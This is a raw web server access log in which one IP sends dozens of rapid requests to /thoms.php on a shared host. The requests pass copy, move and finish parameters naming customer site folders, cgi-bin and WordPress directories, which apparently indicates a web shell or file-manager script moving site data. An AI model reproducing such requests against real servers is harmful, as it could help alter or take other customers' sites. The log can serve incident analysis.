45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=cgi-bin HTTP/1.1" 200 11306 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=betcity.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:30 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bossini.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bfl.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bft.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=wp-content HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18042 "https://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=upgrade HTTP/1.1" 200 11303 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=bogroup.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:31 -0400] "GET /thoms.php?copy=bogroup.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18002 "https://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18076 "https://163.245.207.76:443/thoms.php?copy=cgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:32 -0400] "GET /thoms.php?copy=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=upgrade HTTP/1.1" 200 11302 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=wp-content HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18066 "https://163.245.207.76:443/thoms.php?copy=cgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=cgi-bin HTTP/1.1" 200 11293 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:33 -0400] "GET /thoms.php?copy=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=cgi-bin&p=bft.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=cgi-bin HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bfl.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bft.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=betcity.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=wp-content HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bossini.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18291 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:35 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bft.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:36 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
